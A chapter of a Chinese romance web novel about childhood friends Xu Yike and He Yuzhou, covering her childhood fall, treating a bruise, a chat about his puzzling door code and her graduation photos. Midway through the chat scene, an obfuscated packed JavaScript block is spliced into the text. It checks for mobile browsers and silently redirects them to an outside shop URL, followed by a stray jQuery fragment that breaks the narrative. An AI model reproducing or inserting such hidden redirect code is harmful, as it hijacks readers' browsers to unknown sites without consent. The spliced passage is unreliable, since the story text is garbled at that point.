徐忆可从小到大摔得最重的一次，是在她小学毕业的那个暑假。
那阵子蒋婕刚离婚一年左右，状态调整得差不多了便忙着投入工作，出差时便拜托徐忆可的父母照顾贺语周。
趁着一个周末天气不错，徐东明和方婧便带着两个孩子去游乐园玩，徐忆可拉着贺语周跑来跑去，立下豪言壮志说要把每个项目都体验一遍。
路过冰淇淋摊时，徐忆可立马迈不开步子了，眨巴着眼睛盯着贺语周看，眼神里明晃晃的“想吃”两个字。
贺语周跟她对视两秒，随即转头看向跟在身后的徐东明和方婧。
徐东明笑着摸了摸他们两个的脑袋：“行，给你们买冰淇淋吃，去看看想吃什么口味的，一人一个。”
徐忆可要了一支草莓味的，在去往下个项目的路上边走边吃，目光却忽然又被路旁卖玩偶的工作人员吸引。
贺语周顺着她的目光扭头看了看，刚想转回头来问她是不是想要，身旁一声闷响，他收回目光时便看见徐忆可趴在了地上，方婧和徐东明急忙上前去扶。
注意力被玩偶吸引走，徐忆可没留神一脚踩了空。
手上吃到一半的冰淇淋飞了出去是次要，夏天天气热，她只穿了条连衣裙，摔得挺厉害——膝盖、手臂到手肘和手掌都被磨破出了血，看起来就挺吓人。
接下来自然是不能继续玩了，眼泪汪汪的徐忆可当即被带到了游乐园的医务室处理伤口。
“对不起啊语周哥哥，害得你也没法继续玩了。”
回家的路上，徐忆可很不好意思地凑过去跟贺语周小声说话。
贺语周转过头，一垂眼便看见她身上的伤口，视线缓缓上移跟徐忆可对视，抬手揉了揉她的脑袋。
“没事，还好没骨折。”贺语周说，“只不过你现在这个样子，就有一段时间不能出去玩了。”
“语周说得对。”坐在前排副驾驶位置上的方婧回过头来看徐忆可，“这几天你就乖乖待在家里，听哥哥的话，知不知道？”
徐忆可不太高兴，但还是点点头答应了下来。
贺语周一直觉得，徐忆可之所以会摔跤，转过头去看玩偶从而没来得及拉住她的自己也有一定的责任。
虽然方婧已经跟他说过了一点都不怪他，还说下次抽时间再带他们出去玩，贺语周还是在白天大人们都去工作的时候，主动承担起了照顾徐忆可的工作——
譬如帮她扎一只手扎不好的头发，拧瓶盖拆零食，还有给伤口换药。
徐忆可自己也不想看自己的伤口，把手脚往贺语周怀里一揣，然后紧紧闭上眼睛，把头扭到一边。
这么多年过去，现在徐忆可虽然不会再躲着不看伤口了，但有些甩手掌柜似的习惯还是没改。
大腿上很突然地被压上重量，贺语周晃喷雾的手一顿。
偏偏始作俑者并不觉得有什么地方不对，十分坦然地等着贺语周给她喷药。
贺语周欲言又止地看了她两秒，忽然想起徐忆可磕到腿之前刻意放轻声音喊了他一声“语周哥哥”，最终还是什么都没说，缓缓垂下了眼。
徐忆可这会儿本来已经不觉得痛了，但冰凉的药液落在磕红处，凉意渗进皮肤，勾起一阵轻微的闷胀痛感，稍有点难受，她下意识缩了一下腿，脚腕却被贺语周轻轻按住。
他的手修长宽大，很轻易地就能罩住徐忆可的脚腕，看起来甚至可以毫不费力地用手指圈住，贺语周温热的掌心贴在她的皮肤上，更显得药液凉飕飕的。
“别乱动。”
贺语周没看她，声音有点沉。
徐忆可撑着沙发的手稍攥起来了些，没来由地觉得有些不大自在，眨了一下眼睛——不动就不动，他凶什么啊！
她还没来得及吭声，贺语周就握着她的脚腕把她的腿放在了沙发上，自己起身收拾起了桌上的东西。
“好了，过一会儿再下地。”
“哦。”
徐忆可点头应了一声，看着贺语周把桌上的包装袋收拾起来扔掉，随即收回目光轻轻动了动腿，并没再感觉到什么痛感，随即收起腿穿进拖鞋，站了起来。
丢完垃圾，贺语周一扭头便看见徐忆可叉着腰站在茶几旁边。
“不疼了？”
“已经不疼了。”徐忆可摇摇头转了一圈，把裙摆提起来一些，低下头看了看，“就是看着有点儿吓人而已。”
贺语周抱着胳膊笑了笑：“不用歇两天？”
徐忆可一挑眉，反驳他：“你这也太夸张了，就是撞到了茶几有什么可歇的，歇两分钟得了，连皮都没破，我哪有这么娇气？”
贺语周瞥了眼她身后的沙发：“那刚才在这儿疼得眼泪汪汪是谁？”
“……可是刚撞到的时候确实很疼啊！”
“好，现在不疼了就行。”贺语周笑着点点头，“在这里再待一会儿或者回去随你，记得把药和冰袋带走。”
“知道啦，我这就准备回去了。”徐忆可带上东西走到门口，不忘转回头提醒贺语周，“对了，你也记得把要买的东西发我，还有你家的密码——最重要的钱别忘了！”
目送她的贺语周失笑：“放心吧，忘不了。”
房门被打开然后关上，随即空气陷入一片安静。
盯着门板看了两秒，贺语周收回，目光，抬起手摊开，垂头看了眼自己的手掌——上面似乎还隐约留着某种细腻的触感，他下意识地轻捻了捻手指，眼前不自觉地浮现出几幕相关的画面。
……他在想些什么。
很快回过神来的贺语周皱起了眉，摇了摇头把脑袋里乱七八糟的思绪清空，深吸了一口气之后缓缓吐出，抬手按了几下太阳穴。
-
次日，徐忆可按照和贺语周说好的，去了趟超市帮他买好东西，然后分门别类地整齐填进冰箱，最后拍了张照片发给他邀功。
徐忆可：还行吧？
贺语周：［赞.jpg］
徐忆可：那我回去了啊
贺语周：好
贺语周：腿怎么样？
过了一晚，腿上的磕红的地方彻底变成了一大块瘀青，徐忆可坐在贺语周家的沙发上拍了张照发过去。
徐忆可：看起来好吓人
贺语周：还疼吗？
徐忆可：正常行动完全没问题
徐忆可：不碰到基本没感觉
贺语周：那就行<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837300|211495||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
贺语周：自己注意点
徐忆可：［两只耳朵都听见了.jpg］
按了个表情包过去，徐忆可咬着嘴唇犹豫两秒，慢吞吞又打了行字过去。
徐忆可：对了，我有一个问题想问你
贺语周：问
徐忆可：你房门的密码是什么意思啊？
徐忆可：该不会……是乱码吧？
这个问题徐忆可昨天就想问了，贺语周给她发密码的时候她就有些好奇，脑海中简单过了几个和他有关的数字，包括他和蒋婕的生日之类的重要日期，但都和他发给她的110203这六个数字对不上。
徐忆可觉得自己就像是在做LockCore公众号上“每日一锁”的谜题，但这回的答案不会在第二天自动公布。
抓耳挠腮了许久，徐忆可还是没琢磨出答案，想来想去只好去问本人。
贺语周：密码？
贺语周：不是乱码，你猜猜看
徐忆可深吸一口气。
要是我猜出来了还会来问你吗？！
徐忆可：……就没有点儿提示什么的？
徐忆可：该不会是什么我不知道的纪念日吧？
贺语周：我有什么你不知道的纪念日？
贺语周又引用了徐忆可那条要提示的消息，告诉她这串数字并不是日期。
徐忆可：“……”
偏偏贺语周还补充了句，说这个密码的含义其实挺简单，她更是绝对不可能承认自己现在毫无头绪的。
算了，世上无难事，只要肯放弃——徐忆可心道，她不猜了不就行了，也不是非要知道他的密码是什么意思嘛！
于是徐忆可当即决定不再为难自己，把手机放到一旁，开始准备收拾过几天毕业旅行的行李。
接下来的几天，徐忆可都没有见到贺语周。
他回来得晚，基本上都在工作室吃了饭，徐忆可便在家里自己点外卖解决，还抽了一天中午出门去前司附近，找Annie和林圆圆一起吃了顿饭，各自分享了一番近况。
很快便到了徐忆可的毕业典礼。
上午的典礼很快结束，简单吃了午饭，徐忆可便和室友在学校内的各处拍照。
除了用相机拍的照片暂时不方便立刻导出，徐忆可挑了一些用手机拍的照片，一股脑儿丢进了两家人都在的微信群里，当即得到了三位长辈的一致夸赞。
贺语周看到群里的消息轰炸时，已经三点多了。
刚刚结束一个头脑风暴的会议，贺语周回到办公室喝了大半杯水，回了几条工作消息，这才得空点开徐忆可发的照片。
徐忆可穿着黑色的学士服，照片的背景各不相同，除了风景不错的地方，还有几张在室内，其中一张是她在黑板前做搞怪的表情，脑袋上方则是粉笔画的兔子耳朵。
再往后滑，最后一张是徐忆可攥着一把五颜六色的气球，倚在湖边的木质栏杆上，偏着头冲镜头笑得灿烂，仿佛在和看这张照片的人对视。
她的长发自然垂下，发丝则被风微微吹起，阳光从斜上方轻盈地洒下，像抛了一捧亮晶晶的闪粉，尽数落在徐忆可身上。
她像在发光。